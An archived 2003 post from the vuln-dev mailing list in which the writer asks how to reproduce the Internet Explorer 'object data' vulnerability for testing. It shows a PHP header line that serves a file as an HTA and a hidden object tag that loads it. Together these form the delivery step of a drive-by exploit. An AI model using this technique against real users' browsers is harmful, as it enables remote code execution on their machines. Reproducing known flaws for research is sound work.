Object Data IE Exploit

From: Pedro Jota Calvorota (calvorota_at_ya.com)
Date: 09/27/03

  • Next message: Dom De Vitto: "RE: Object Data IE Exploit" 
    To: vuln-dev@securityfocus.com
Date: Sat, 27 Sep 2003 12:39:46 +0200

    Im triying to reproduce the object data exploit in IE discovered in august
    by eeye in my own machine, I get to do it adding this in the first line of
    the exploit file (cmd.php):

    <?php header("Content-type: application/hta"); ?>

    and, as you know, calling the file like this:
    <html>
    <object style="display:none" data="cmd.php">
    </object>
    </html>

    My question is: Is there another way to modify the content-type header? I
    know there are some examples where the files are not php files. Is this
    way that I "invented" to reprododce the exploit perfecly valid?

    Thanks. 

    -- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/
  • Next message: Dom De Vitto: "RE: Object Data IE Exploit"